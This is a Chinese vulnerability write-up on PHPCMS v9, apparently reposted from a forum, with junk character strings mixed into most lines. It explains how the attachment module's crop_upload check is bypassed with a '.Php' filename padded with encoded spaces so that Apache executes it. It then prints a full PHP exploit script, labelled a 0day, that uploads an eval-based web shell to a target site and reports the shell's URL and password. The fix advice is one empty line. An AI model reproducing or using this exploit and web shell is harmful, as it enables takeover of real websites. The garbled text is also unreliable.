漏洞类型: 文件上传导致任意代码执行
. d6 N! j7 d/ V+ z
; b0 X& ^& e; ^; |' f: q$ P) S简要描述:
' I9 p9 u. b/ w/ T5 p+ F, d% }
$ D( R' @0 `8 H4 X w# g: Gphpcms v9 getshell (apache)5 T( y1 l g; d
详细说明:
0 Q- j1 ~( `" w9 u( c1 ~3 c" U( E
漏洞文件:phpcms\modules\attachment\attachments.php7 O5 F3 u( h6 m' p7 E9 u6 h
$ [ b1 s' R" [+ A* s: q: jpublic function crop_upload() { (isset($GLOBALS["HTTP_RAW_POST_DATA"])) { $pic = $GLOBALS["HTTP_RAW_POST_DATA"]; if (isset($_GET['width']) && !empty($_GET['width'])) { $width = intval($_GET['width']); } if (isset($_GET['height']) && !empty($_GET['height'])) { $height = intval($_GET['height']); } if (isset($_GET['file']) && !empty($_GET['file'])) { $_GET['file'] = str_replace(';','',$_GET['file']);//过滤了分号 if(is_image($_GET['file'])== false || strpos($_GET['file'],'.php')!==false) exit();//is_image()检测是个关键 if (strpos($_GET['file'], pc_base::load_config('system', 'upload_url'))!==false) { $file = $_GET['file']; $basenamebasename = basename($file);//获取带有后缀的文件名 if (strpos($basename, 'thumb_')!==false) { $file_arr = explode('_', $basename); $basename = array_pop($file_arr); } $new_file = 'thumb_'.$width.'_'.$height.'_'.$basename; } else { pc_base::load_sys_class('attachment','',0); $module = trim($_GET['module']); $catid = intval($_GET['catid']); $siteid = $this->get_siteid(); $attachment = new attachment($module, $catid, $siteid); $uploadedfile['filename'] = basename($_GET['file']); $uploadedfile['fileext'] = fileext($_GET['file']); if (in_array($uploadedfile['fileext'], array('jpg', 'gif', 'jpeg', 'png', 'bmp'))) { $uploadedfile['isimage'] = 1; } $file_path = $this->upload_path.date('Y/md/'); pc_base::load_sys_func('dir'); dir_create($file_path); $new_file = date('Ymdhis').rand(100, 999).'.'.$uploadedfile['fileext']; $uploadedfile['filepath'] = date('Y/md/').$new_file; $aid = $attachment->add($uploadedfile); } $filepath = date('Y/md/'); file_put_contents($this->upload_path.$filepath.$new_file, $pic);//文件名可控、$pic可控 } else { return false; } echo pc_base::load_config('system', 'upload_url').$filepath.$new_file; exit; } }
- J O6 n' p- @, ~# L后缀检测:phpcms\modules\attachment\functions\global.func.php! g, `$ X( R% ]( U% x9 X5 c/ U
) ` h0 q5 I" A, O5 m3 g) C
3 k: }1 A5 ^0 N
3 p6 r3 G1 h" z* K' Mfunction is_image($file) { $ext_arr = array('jpg','gif','png','bmp','jpeg','tiff'); $ext = fileext($file);关键地方 return in_array($ext,$ext_arr) ? $ext_arr :false; } % B! [: w+ \' H: C1 m
* G0 U/ X( I1 n) ~. W2 G% o关键函数:
1 ^, o4 h3 V- }9 u/ H4 o6 L8 r6 q$ P( {
. W) r! U5 j, s+ _3 e, B$ A. Y; G+ R7 m, @, b
function fileext($filename) { return strtolower(trim(substr(strrchr($filename, '.'), 1, 10))); }
* |( {, A/ C% F
- w) t% M- E; n! _ Fileext函数是对文件后缀名的提取。1 \" ?2 `2 }0 Y' _) C- O
根据此函数我们如果上传文件名为ddd.Php.jpg%20%20%20%20%20%20%20Php
! G# O- |' i% p8 V+ c @1 p经过此函数提取到的后缀还是jpg,因此正在is_image()函数中后缀检测被绕过了。
" ?9 d8 e& G' F) S' u我们回到public function crop_upload() 函数中. \4 L A0 O8 x' T
if(is_image($_GET['file'])== false || strpos($_GET['file'],'.php')!==false) exit();
+ d0 B1 t' u0 s- X在经过了is_image的判断之后又来了个.php的判断,在此程序员使用的是strpos函数
2 Z1 s) n6 B0 D F+ A: u这个函数是对大小写敏感的函数我们使用.Php就可以直接绕过了。
! q) @% d+ m6 L% O8 X6 B' s. D# D经过上边的两层的过滤我们的ddd.Php.jpg%20%20%20%20%20%20%20Php后缀依然有效。
8 e j* a1 j. W G' F$ |- Q最后$basename变量的值就为ddd.Php.jpg%20%20%20%20%20%20%20Php 然后使用file_put_contents函数写入到了指定目录。$ s6 U9 x& D3 F7 x% t: F/ V' f8 g
看见ddd.Php.jpg%20%20%20%20%20%20%20Php这个后缀,大家应该明白了,它用在apache搭建的服务器上可以被解析。
. S+ p. u1 @1 Q* v漏洞证明:! e" r) i, y4 j( E$ C. X8 P
' Y- J' M, w7 _( c% m, _exp:. _9 R' O4 w, u2 `' [
" P7 N$ ]( a4 z<?php4 R% m1 q# n- g! w
error_reporting(E_ERROR);6 F' m2 i" T7 x: g2 @/ B2 _$ n
set_time_limit(0);
/ E: p" q1 l+ _1 w/ O$pass="ln";
9 @" B4 k! K# M$ H3 Uprint_r('
8 I! v$ G% w e$ j1 i/ ]. m+---------------------------------------------------------------------------+
5 ~/ a# w: U7 w8 J$ SPHPCms V9 GETSHELL 0DAY
- [' S3 r+ k5 x" \, q% Y) ^, Fcode by L.N.7 }) f' x% c8 |6 X5 `/ n2 t4 G) F9 A
" O$ M: `; H! O' U0 C8 j4 X- `5 hapache 适用(利用的apache的解析漏洞) // 云安全 www.yunsec.net
, o% y6 k$ @/ A7 N; c+---------------------------------------------------------------------------+, u3 }5 M# V7 T* A
');
0 C4 V$ d5 a8 ~" z$ g) Q8 n5 z3 d" Oif ($argc < 2) {" o7 S" P6 F! C k2 t
print_r('
$ V5 _" T. I* T' O+---------------------------------------------------------------------------+
0 p( W4 c, ]+ fUsage: php '.$argv[0].' url path
. I) _+ y; W! A- |" f* u3 ~& x, o$ k
Example:
: W2 t. \4 N$ q0 Y2 j5 r( R/ a1.php '.$argv[0].' lanu.sinaapp.com
+ J% x- ]/ H' c8 o/ W. o! }2.php '.$argv[0].' lanu.sinaapp.com /phpcms/ U8 y: I. }3 d% d
+---------------------------------------------------------------------------+
8 }8 H' D5 | B' `2 z6 b');
; U' c3 Q9 | Sexit;
% j* x7 l8 @" e; l. d/ G/ y}
i5 k! J5 [( h; ^, \0 X- ]6 u% Q5 C$ W' M# y
$url = $argv[1];6 i7 {2 m* q: Q* }; s) u k( [3 I
$path = $argv[2];
1 A9 X' m! ~ m. q; C, q3 _- ?$phpshell = '<?php @eval($_POST[\''.$pass.'\']);?>';& O3 m- \" W0 D, T# _
$file = '1.thumb_.Php.JPG%20%20%20%20%20%20%20Php';
4 N4 c% N3 P2 y7 t' @% sif($ret=Create_dir($url,$path))
; O3 V6 R7 z, d. z P" x, T9 A9 S5 S{
* _6 R$ _/ D- ]//echo $ret;/ C: o! I' E- V
$pattern = "|Server:[^,]+?|U";
; K; L6 E: ~8 X) m( opreg_match_all($pattern, $ret, $matches);
! G; r1 M# g5 U% I& Tif($matches[0][0])/ O" g$ s8 }, h r5 G
{
3 J% H+ x/ z6 z5 Nif(strpos($matches[0][0],'Apache') == false)
$ I0 n6 N7 H! p+ r# J- W* H ^{
+ F2 A5 ~- w( L& ^echo "\n亲!此网站不是apache的网站。\n";exit;( F2 J, y4 S# ]
}$ h# R" W3 [1 ?3 _/ O' I( l5 \# f
}
+ g/ _3 n8 J) l( `7 @7 H+ i$ret = GetShell($url,$phpshell,$path,$file);
5 \1 q) I% s4 o$pattern = "|http:\/\/[^,]+?\.,?|U";
& }% X# }& f5 m/ I, c! Y" [! y; \preg_match_all($pattern, $ret, $matches);
7 P, @: |* a" `if($matches[0][0])0 C9 V/ D3 E9 t0 E& z ^0 k; b
{
6 o, j) J& h c d; u# becho "\n".'密码为: '.$pass."\n";0 v$ K- |2 `: ]
echo "\r\nurl地址: ".$matches[0][0].'JPG%20%20%20%20%20%20%20Php'."\n";exit;
, d" x7 O9 b* r}
/ a9 g7 t5 m1 pelse" j- g2 ^. ^' I v
{
+ z2 ]( m6 @! L4 ]6 Y: B$pattern = "|\/uploadfile\/[^,]+?\.,?|U";# ~, R7 y% [' h% L
preg_match_all($pattern, $ret, $matches);
! J2 A1 _# q3 m hif($matches[0][0])+ r4 r8 Y- s+ K, e3 J0 ]3 b
{
+ z' ~! T& {" q- K5 ?9 Necho "\n".'密码为: '.$pass."\n";
2 ^7 M; N4 W) d/ j- ~. hecho "\r\nurl地址:".'http://'.$url.$path.$matches[0][0].'JPG%20%20%20%20%20%20%20Php'."\n";exit;) W) b7 H4 v2 l! `9 S/ O
} o1 c8 n5 z Y
else
5 K0 {* l$ h# Q8 p/ C{7 B! Z5 T% y- A2 c
echo "\r\n没得到!\n";exit;+ g$ W' C! X5 }; T W$ j
}, m0 a) P1 N0 l; D
}) t8 f- P8 o# f
}$ ^$ F0 @1 E. F: a# J$ R3 h1 P; t
4 |) ~* k1 A1 K9 z! o* S
function GetShell($url,$shell,$path,$js)% r% e# X2 ~7 Z
{! \! o0 Y9 |& k8 A
$content =$shell;9 e. j) d: K5 [$ v! t- g) U
$data = "POST ".$path."/index.php?m=attachment&c=attachments&a=crop_upload&width=6&height=6&file=http://".$url.$path."/uploadfile/".$js." HTTP/1.1\r\n";
- n: s/ j) m1 F- O) v* D, V- {$data .= "Host: ".$url."\r\n";
* u9 u( n1 N1 g* K9 \3 h3 n) I$data .= "User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:5.0.1) Gecko/20100101 Firefox/5.0.1\r\n";8 n! K* ]( D0 D: _5 y
$data .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";' a3 U0 @7 r, V, Y
$data .= "Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3\r\n";
. a' T( q, y3 ~" H& L( I$data .= "Connection: close\r\n";
5 K: m8 ~" t+ x2 A7 c$data .= "Content-Length: ".strlen($content)."\r\n\r\n";0 s1 h4 U# |6 @. M, s& v
$data .= $content."\r\n";
$ c$ V* w) U( C* h$ock=fsockopen($url,80);0 G0 l3 e2 H( `1 a; m0 d; A$ u
if (!$ock)
; Q# i* f) _+ T0 m, v{$ X/ |& y, ^! h1 f1 ^9 j
echo "\n"."此网站没有回应,检测url是否输入正确"."\n";exit;# L0 v- G+ N! t
}0 Y! S: D6 l$ y" ]$ j4 K+ c
else2 t0 N$ r7 G* _; F( n2 r5 J
{6 `0 `( O: W- N) D3 E& [6 @. ]
fwrite($ock,$data);
% k Z1 A% u+ l3 @. \3 F k. X6 H$resp = '';
" M8 ~/ _ W* `: Z" ywhile (!feof($ock))
. g7 y5 A- h3 ?! V- ]$ m{+ ~4 ~! X! W/ r1 t' w2 T
$resp.=fread($ock, 1024);( u& L2 r p. H4 o+ W
}
/ t/ g9 N' H9 B0 j6 l. {+ q2 {4 G, Oreturn $resp;
1 d! ^' M6 D4 j}* B7 Q' a; t, C- J' Y) l* c
}
% i% M, P/ x; ?0 r' \ d
4 T# k) [4 P( _5 l" E3 @function Create_dir($url,$path='')6 K. m$ N& n. ]: s l1 ^( N$ _
{
5 p8 G, f4 F6 I9 ]$ b$content ='I love you';
$ N/ j, U! S, B# Q/ g( L) L0 a$data = "POST ".$path."/index.php?m=attachment&c=attachments&a=crop_upload&width=6&height=6&file=http://lanu.sinaapp.com/1.jpg HTTP/1.1\r\n";
& \2 \' a" g) `: h6 j$data .= "Host: ".$url."\r\n";
( n' l: [6 q$ m6 F$data .= "User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:5.0.1) Gecko/20100101 Firefox/5.0.1\r\n";
4 x+ e% ?3 H \' X/ }9 x/ K2 w3 U$data .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";
6 f' |+ ` H- y6 _4 ?$data .= "Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3\r\n";
/ Q- z3 H: d- d7 T$ P$data .= "Connection: close\r\n";
/ M+ R* J2 c; a$ p$data .= "Content-Length: ".strlen($content)."\r\n\r\n";( }, Y! _2 U$ G) M
$data .= $content."\r\n";
( c1 T' X4 W8 S& a$ock=fsockopen($url,80);$ \2 w) a8 [! m7 O% I; P
if (!$ock)
; S; Y7 D n3 ~% i G6 J/ q( R( b{
9 B4 |0 s: T( Q, t6 u7 g! G! Lecho "\n"."此网站没有回应,检测url是否输入正确"."\n";exit;. ~, l' Q+ w9 ?6 z% k
}4 K3 j* d; V: e" \: b6 F5 J* J% ?
fwrite($ock,$data);4 |$ L" d0 n4 g5 j2 q+ ]
$resp = '';; g+ H, d: g6 v9 }5 n
while (!feof($ock))
2 u; K/ O: E; j{5 T# i( d j: v: W Q3 }: G
$resp.=fread($ock, 1024);* a; _5 ^6 \$ a- y
}+ M. p9 U4 Q% }4 Q, {
return $resp;! V4 J6 s0 p3 p, A0 x
}
/ Z6 k1 L7 A6 A4 O! E5 I?> 6 F, [& E" Z! g2 \
& |% j9 ^) p; M' [+ D7 R" T修复方案:
2 z& |# q) W$ j
9 P9 @2 K7 t0 Y! M8 s5 o过滤过滤再过滤3 P/ e* T ?) V
0 f% @' g3 K9 K: M, r |